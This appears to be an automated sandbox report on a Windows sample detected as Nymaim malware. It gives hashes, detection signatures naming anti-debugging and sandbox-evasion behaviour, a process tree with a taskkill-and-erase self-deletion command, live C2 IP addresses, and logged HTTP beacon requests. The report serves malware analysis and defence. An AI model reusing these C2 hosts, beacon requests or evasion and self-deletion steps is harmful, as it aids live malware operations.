Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	734353
MD5:	ba5cb5cabbcefb36996bd213b8c1d284
SHA1:	80a62facd7b8d19817b6ee1d45036bf67953f61b
SHA256:	c360868055519b145bf9169b913787cd1f6533995e4d8a8556f94676a6129f96
Tags:	exe
Infos:

Detection

Nymaim

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Yara detected Nymaim

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Uses taskkill to terminate processes

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to detect sandboxes (foreground window change detection)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

file.exe (PID: 5504 cmdline: C:\Users\user\Desktop\file.exe MD5: BA5CB5CABBCEFB36996BD213B8C1D284)

is-L5RJL.tmp (PID: 5980 cmdline: "C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp" /SL4 $2042C "C:\Users\user\Desktop\file.exe" 2325944 52736 MD5: 7CD12C54A9751CA6EEE6AB0C85FB68F5)

fhsearcher65.exe (PID: 6124 cmdline: "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" MD5: 92872B286EA229891C32DECA72ACBBAC)

qFUx6kqeb.exe (PID: 4368 cmdline: MD5: 3FB36CB0B7172E5298D2992D42984D06)

cmd.exe (PID: 784 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "fhsearcher65.exe" /f & erase "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 4092 cmdline: taskkill /im "fhsearcher65.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cleanup

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["45.139.105.1", "85.31.46.167", "107.182.129.235", "171.22.30.106"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.339882305.0000000003770000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Unpacked PEs

Source	Rule	Description	Author
2.2.fhsearcher65.exe.3770000.2.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.fhsearcher65.exe.400000.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.fhsearcher65.exe.400000.1.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.fhsearcher65.exe.3770000.2.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://171.22.30.106/library.php106/library.php	URL Reputation: Label: malware
Source: http://171.22.30.106/library.php	URL Reputation: Label: malware
Source: http://171.22.30.106/library.phped	Avira URL Cloud: Label: malware
Source: http://171.22.30.106/library.phpC	Avira URL Cloud: Label: malware
Source: http://107.182.129.235/storage/ping.phpt	Avira URL Cloud: Label: malware
Source: http://171.22.30.106/library.phpq	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe

ReversingLabs: Detection: 38%

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Joe Sandbox ML: detected

Source: 1.2.is-L5RJL.tmp.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 0.2.file.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 2.2.fhsearcher65.exe.10000000.6.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: 00000002.00000002.339882305.0000000003770000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Nymaim {"C2 addresses": ["45.139.105.1", "85.31.46.167", "107.182.129.235", "171.22.30.106"]}

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045A060 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	1_2_0045A060
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045A114 ArcFourCrypt,	1_2_0045A114
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045A12C ArcFourCrypt,	1_2_0045A12C
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_10001000 ISCryptGetVersion,	1_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_10001130 ArcFourCrypt,	1_2_10001130
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00403770 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,	2_2_00403770

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Unpacked PE file: 2.2.fhsearcher65.exe.400000.1.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0046E2D4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0046E2D4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047694C FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_0047694C
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00450EA4 FindFirstFileA,GetLastError,	1_2_00450EA4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045E738 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045E738
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00474BD0 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00474BD0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045EBB4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045EBB4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045D1B4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045D1B4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0048D260 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_0048D260
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,Sleep,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,	2_2_00404490
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004241DD FindFirstFileExW,	2_2_004241DD
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_1000959D FindFirstFileExW,	2_2_1000959D

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 45.139.105.1
Source: Malware configuration extractor	IPs: 85.31.46.167
Source: Malware configuration extractor	IPs: 107.182.129.235
Source: Malware configuration extractor	IPs: 171.22.30.106

Source: Joe Sandbox View

ASN Name: CMCSUS CMCSUS

Source: Joe Sandbox View

IP Address: 45.139.105.171 45.139.105.171

Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235

Source: fhsearcher65.exe, 00000002.00000000.253799478.0000000001275000.00000002.00000001.01000000.00000007.sdmp, is-0VGVN.tmp.1.dr, fhsearcher65.exe.1.dr

String found in binary or memory: #http://www.facebook.com/ManiacTools equals www.facebook.com (Facebook)

Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.235/
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.235/#(u
Source: fhsearcher65.exe, 00000002.00000003.302462753.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296715682.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.314095275.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308295897.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322222729.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290973625.0000000001849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.235/storage/ping.phpt
Source: fhsearcher65.exe, 00000002.00000003.333593750.000000000469B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.php
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.php-(
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.php106/library.php
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phpC
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phpW5
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phped
Source: fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phpng.php;53
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phpq
Source: fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.phpu(_
Source: is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/
Source: file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/-
Source: file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/-http://www.fh-group.info/fhsearcher/help.html1http://www.fh-group.info/fhs
Source: is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/fhsearcher/download.html
Source: file.exe, 00000000.00000003.244916733.00000000021C1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341656676.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.340623203.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341178447.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/fhsearcher/help.html
Source: file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/fhsearcher/help.html1
Source: file.exe, 00000000.00000003.244916733.00000000021C1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341656676.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fh-group.info/fhsearcher/help.htmlB
Source: is-L5RJL.tmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: fhsearcher65.exe, 00000002.00000000.253799478.0000000001275000.00000002.00000001.01000000.00000007.sdmp, is-0VGVN.tmp.1.dr, fhsearcher65.exe.1.dr	String found in binary or memory: http://www.movienizer.com
Source: file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341685691.00000000021C8000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.340623203.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341178447.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-3Q439.tmp.1.dr	String found in binary or memory: http://www.n-group.info
Source: file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/?ps
Source: file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/?psU

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_00401B30 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

2_2_00401B30

Source: global traffic	HTTP traffic detected: GET /itsnotmalware/count.php?sub=NOSUB&stream=start&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 45.139.105.171Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 45.139.105.171Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/ping.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 0Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/extension.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
